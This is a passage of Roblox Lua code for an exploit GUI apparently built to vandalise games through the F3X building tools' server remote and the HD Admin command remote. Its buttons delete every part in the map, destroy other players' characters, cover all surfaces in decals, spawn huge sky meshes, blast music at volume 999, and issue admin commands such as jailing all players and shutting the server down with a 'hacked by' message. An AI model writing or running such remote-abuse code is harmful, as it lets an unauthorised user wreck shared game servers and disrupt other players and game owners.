UserInputService.TouchTap:Connect(function(input, gameProcessed) if gameProcessed then return end if isDead then return end attack() end) local backpack = player.Backpack local function getf3x() for _, v in ipairs(backpack:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end for _, v in ipairs(char:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end return nil end local f3x = getf3x() if not f3x then warn("you dont have f3x skid") end local syncapi = f3x.SyncAPI local serverendpoint = syncapi.ServerEndpoint local function fire(part) local argsCreate = { [1] = "CreateDecorations", [2] = { [1] = { ["Part"] = part, ["DecorationType"] = "Fire" } } } local argsSync = { [1] = "SyncDecorate", [2] = { [1] = { ["Part"] = part, ["DecorationType"] = "Fire", ["Size"] = 10, ["Heat"] = 0, ["Color"] = Color3.fromRGB(255, 0, 0), ["SecondaryColor"] = Color3.fromRGB(255, 0, 0) } } } _(argsCreate) _(argsSync) end function delete(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part, cf) local args = { "SyncMove", { { Part = part, CFrame = cf } } } _(args) end local function resize(part, size, cf) local args = { "SyncResize", { { Part = part, CFrame = cf, Size = size } } } _(args) end local function syncmaterial(part, mate) local args = { "SyncMaterial", { { Part = part, Material = mate } } } _(args) end local function transparency(part, trans) local args = { "SyncMaterial", { { Part = part, Transparency = trans } } } _(args) end local function color(part, color) local args = { "SyncColor", { { Part = part, Color = color, UnionColoring = false } } } _(args) end local function syncmeshid(part, id) local args = { "SyncMesh", { { Part = part, MeshId = "rbxassetid://" .. id } } } _(args) end function destroy(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end local function makemesh(part) local args = { "CreateMeshes", { { Part = part } } } _(args) end local function syncmeshsize(part, vectora) local args = { "SyncMesh", { { Part = part, Scale = vectora } } } _(args) end local function syncmeshtexture(part, id) local args = { "SyncMesh", { { Part = part, TextureId = "rbxassetid://" .. id } } } _(args) end local function name(part, stringa) local args = { "SetName", { part }, stringa } _(args) end local function lock(part, boolean) local args = { "SetLocked", { part }, boolean } _(args) end local function setcollision(part, booleana) local args = { "SyncCollision", { { Part = part, CanCollide = booleana } } } _(args) end local function setanchor(part, boolean) local args = { "SyncAnchor", { { Part = part, Anchored = boolean } } } _(args) end local function createdecal(part, side) local args = { "CreateTextures", { { Part = part, Face = side, TextureType = "Decal" } } } _(args) end local function setdecal(part, asset, side) local args = { "SyncTexture", { { Part = part, Face = side, TextureType = "Decal", Texture = "rbxassetid://" .. asset } } } _(args) end task.spawn(function() while task.wait(0.02) do task.spawn(function() local hrp = char.HumanoidRootPart local pos = hrp.CFrame * CFrame.new(0, -3, 0) local trail = serverendpoint:InvokeServer("CreatePart", "Normal", CFrame.new(0,0,0), char) task.spawn(function() setcollision(trail, false) end) task.spawn(function() syncmaterial(trail, Enum.Material.Granite) end) task.spawn(function() color(trail, Color3.new(0, 0, 0)) end) task.spawn(function() resize(trail, Vector3.new(10,0,10), pos) end) task.spawn(function() fire(trail) end) BurningEff(trail) task.wait(1) delete(trail) end) end end) local ReplicatedStorage = game:GetService("ReplicatedStorage") local rq = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent local RunService = game:GetService("RunService") local rotatetypeshii = Vector3.new(0, 1, 0).Unit local skypartrotation = 0 local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function reflect(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Reflectance"] = int } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function MeshColor(part,color) local args = { "SyncMesh", { { Part = part, VertexColor = color } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function Setmate(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Material"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function ClonePart(part,parent) local args = { [1] = "Clone", [2] = { [1] = part }, [3] = parent } return remote:InvokeServer(unpack(args)) end function Sky(id) local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommandSilent = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent local function findBuildingTools() local player = game:GetService("Players").LocalPlayer for _, item in ipairs(player.Character:GetChildren()) do if item:IsA("Tool") and item:FindFirstChild("SyncAPI") then return item end end for _, item in ipairs(player.Backpack:GetChildren()) do if item:IsA("Tool") and item:FindFirstChild("SyncAPI") then return item end end return nil end local buildingTools = findBuildingTools() if not buildingTools then warn("btools not found") return end local syncAPI = buildingTools:FindFirstChild("SyncAPI") local serverEndpoint = syncAPI and syncAPI:FindFirstChild("ServerEndpoint") if not serverEndpoint then warn("btools not found") return end local skyInstance = workspace.Terrain:FindFirstChild("Sky") or workspace:FindFirstChild("Sky") if not skyInstance then print"ok" end spawn(function() DestroyPart(skyInstance) end) local success, result if serverEndpoint:IsA("RemoteFunction") then success, result = pcall(function() return serverEndpoint:InvokeServer(unpack(args)) end) else serverEndpoint:FireServer(unpack(args)) success = true end if success then print"yay" end e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z mhm = CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,-5,0) v = remote:InvokeServer("CreatePart","Normal",mhm,char) task.spawn(function() SetName(v,"johnbeep") end) task.spawn(function() AddMesh(v) end) task.spawn(function() rq:InvokeServer(";time 0") end) task.spawn(function() Resize(v,Vector3.new(0,0,0),v.CFrame) end) task.spawn(function() SetMesh(v,"1527559") end) task.spawn(function() MeshColor(v,vector.create(2,0,0)) end) task.spawn(function() SetTexture(v,id) end) task.spawn(function() MeshResize(v,Vector3.new(-3000,-1000,-3000)) end) task.spawn(function() SetLocked(v,true) end) local rotationAngle = 5 local rotationSpeed = math.rad(20) RunService.Heartbeat:Connect(function(deltaTime) rotationAngle = rotationAngle + rotationSpeed * deltaTime local rotation = CFrame.Angles(0, rotationAngle, 0) local cf = CFrame.new(v.Position) * rotation task.spawn(function() MovePart(v, cf) end) end) end Sky("1529455") while true do wait(0.1) if character:FindFirstChildOfClass("Humanoid").Health <= 0 then RequestCommand:InvokeServer(";titler me BAD CHOICE") ClonePart(character.Head,workspace.Terrain) wait(0.1) local bg = workspace.Terrain.Head task.spawn(function() DestroyPart(bg.face) end) task.spawn(function() SetTrans(bg,1) end) ClonePart(character.johnbeep,workspace.Terrain) spawn(function() MeshColor(workspace.Terrain.johnbeep,vector.create(0,0,0)) end) task.spawn(function() MeshResize(workspace.Terrain.johnbeep,Vector3.new(-50000,-50000,-50000)) end) RequestCommand:InvokeServer(";explode others") RequestCommand:InvokeServer(";music 17717379222") RequestCommand:InvokeServer(";volume 10") wait(4) RequestCommand:InvokeServer(";music 19094700") RequestCommand:InvokeServer(";pitch 0.5") RequestCommand:InvokeServer(";volume 3") wait(0.8) RequestCommand:InvokeServer(";fogcolor black") RequestCommand:InvokeServer(";fog 3000") break end end end) end coroutine.wrap(TextButton_41_fake_script)() local function TextButton_42_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_42) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Sky(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then --spawn(function() SetName(v,"Sky") AddMesh(v) --end) --spawn(function() SetMesh(v,"8006679977") SetTexture(v,id) --end) MeshResize(v,Vector3.new(50,50,50)) SetLocked(v,true) end end end Sky("306861574") end) script.Parent.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function spam(id) for i,v in game.workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,id,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,id,Enum.NormalId.Back) SpawnDecal(v,Enum.NormalId.Right) AddDecal(v,id,Enum.NormalId.Right) SpawnDecal(v,Enum.NormalId.Left) AddDecal(v,id,Enum.NormalId.Left) SpawnDecal(v,Enum.NormalId.Bottom) AddDecal(v,id,Enum.NormalId.Bottom) SpawnDecal(v,Enum.NormalId.Top) AddDecal(v,id,Enum.NormalId.Top) end) end end end spam("306861574") end) end coroutine.wrap(TextButton_42_fake_script)() local function TextButton_43_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_43) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";sm get toadroasted by PixelGreenBugged (Remake)") RequestCommand:InvokeServer(";music 75865270673378 ;pitch 0.17 ;volume 999") local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Textu0reId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function Punish(player) char = player.Character DestroyPart(char) end for i,v in game.Players:GetPlayers() do --zzspawn(function() pcall(function() Punish(v) end) --end) end local player = game.Players.LocalPlayer local char = player.Character or player.CharacterAdded:Wait() local tool for i, v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i, v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end local remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part, boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean, part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = workspace } _(args) end function Resize(part, size, cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part, meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://" .. meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://" .. texid } } } _(args) end function MeshResize(part, size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function Sky(id) local hrp = char:WaitForChild("HumanoidRootPart") local cf = hrp.CFrame CreatePart(CFrame.new(cf.Position + Vector3.new(0, 6, 0))) for _, v in workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 6, 0) then SetAnchor(true, v) AddMesh(v) SetMesh(v, "111891702759441") SetTexture(v, id) MeshResize(v, Vector3.new(8000, 8000, 8000)) end end end local function createRainToads() while true do wait(0.3) -- Here they change the appearance time of the Toads or other meshes if player.Character and player.Character:FindFirstChild("Humanoid") and player.Character.Humanoid.Health > 0 then local hrpcf = player.Character.HumanoidRootPart.CFrame local x = hrpcf.x local z = hrpcf.z local randint = math.random(-600, 600) local randint2 = math.random(-600, 600) local xloc = randint + x local zloc = randint2 + z local cf = player.Character.HumanoidRootPart.CFrame.y + 400 spawn(function() local newToad = CreatePart(CFrame.new(math.floor(xloc), math.random(cf, cf + 400), math.floor(zloc))) for i, v in game.Workspace:GetDescendants() do if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then SetName(v, "MiniToad") -- Here the name of the toad changes SetAnchor(false, v) AddMesh(v) Resize(v, Vector3.new(100, 100, 100), v.CFrame) MeshResize(v, Vector3.new(4, 4, 4)) SetMesh(v, "5038530279") -- Here put it A custom mesh SetTexture(v, "5038530309") -- X2 SetCollision(v, false) v.Orientation = Vector3.new(0, 0, 0) v.CFrame = v.CFrame + Vector3.new(0, 0, 0) local sound = Instance.new("Sound", v) sound.SoundId = "rbxassetid://153752123" sound.Volume = 10 sound.PlayOnRemove = true sound:Destroy() end end end) else wait(1) end end end coroutine.wrap(createRainToads)() Sky("201208408") end) end coroutine.wrap(TextButton_43_fake_script)() local function TextButton_44_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_44) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";shutdown hacked by PixelGreenBugged..") end) end coroutine.wrap(TextButton_44_fake_script)() local function TextButton_45_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_45) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";jail all") end) end coroutine.wrap(TextButton_45_fake_script)() local function TextButton_46_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_46) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character or player.CharacterAdded:Wait() local tool for _, v in pairs(player:GetDescendants()) do if v.Name == "SyncAPI" then tool = v.Parent end end for _, v in pairs(game.ReplicatedStorage:GetDescendants()) do if v.Name == "SyncAPI" then tool = v.Parent end end if not tool then return end local remote = tool.SyncAPI.ServerEndpoint local function invoke(args) remote:InvokeServer(unpack(args)) end local function RemovePart(part) invoke({ "Remove", { part } }) end local function DeleteSkyMesh() for _, v in pairs(workspace:GetDescendants()) do if v:IsA("BasePart") then for _, child in pairs(v:GetChildren()) do if (child:IsA("SpecialMesh") or child:IsA("Mesh")) and tostring(child.MeshId):find("111891702759441") then RemovePart(v) end end end end end DeleteSkyMesh() end) end coroutine.wrap(TextButton_46_fake_script)() local function TextButton_47_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_47) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local hdAdminSound = workspace:FindFirstChild("HDAdminSound") if hdAdminSound then local distort = Instance.new("DistortionSoundEffect") distort.Parent = hdAdminSound end end) end coroutine.wrap(TextButton_47_fake_script)() local function TextButton_48_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_48) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local hdAdminSound = workspace:FindFirstChild("HDAdminSound") if hdAdminSound then local distort = hdAdminSound:FindFirstChildOfClass("DistortionSoundEffect") if distort then distort:Destroy() end end end) end coroutine.wrap(TextButton_48_fake_script)() local function TextButton_49_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_49) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";music 82696338249251 ;volume 999 ;pitch 0.975") end) end coroutine.wrap(TextButton_49_fake_script)() local function TextButton_50_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_50) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";music 122047801154955 ;volume 999") end) end coroutine.wrap(TextButton_50_fake_script)() local function TextButton_51_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_51) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";music 9245561450 ;volume 999") end) end coroutine.wrap(TextButton_51_fake_script)() local function TextButton_52_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_52) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";music 123223103951404 ;volume 999 ;pitch 0.5") end) end coroutine.wrap(TextButton_52_fake_script)() local function TextButton_53_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_53) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";music 1847661821 ;volume 999 ;pitch 1") end) end coroutine.wrap(TextButton_53_fake_script)() local function TextButton_54_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_54) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";music 5356466111 ;volume 999") end) end coroutine.wrap(TextButton_54_fake_script)() local function TextButton_55_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_55) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";btools me") wait(0.4) RequestCommand:InvokeServer(";punish all") wait(0.1) local player = game.Players.LocalPlayer local char = player.Character local backpack = player.Backpack local function getf3x() for _, v in ipairs(backpack:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end for _, v in ipairs(char:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end return nil end local f3x = getf3x() if not f3x then warn("you dont have f3x skid") end local syncapi = f3x.SyncAPI local serverendpoint = syncapi.ServerEndpoint local function delete(part) local args = { [1] = "Remove", [2] = { [1] = part } } serverendpoint:InvokeServer(unpack(args)) end local function deleteall() for _, v in ipairs(workspace:GetDescendants()) do if v:IsA("BasePart") or v:IsA("UnionOperation") then spawn(function() delete(v) end) end end end deleteall() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";fogcolor black ;time") local player = game.Players.LocalPlayer local char = player.Character local backpack = player.Backpack local function getf3x() for _, v in ipairs(backpack:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end for _, v in ipairs(char:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end return nil end local f3x = getf3x() if not f3x then warn("you dont have f3x skid") 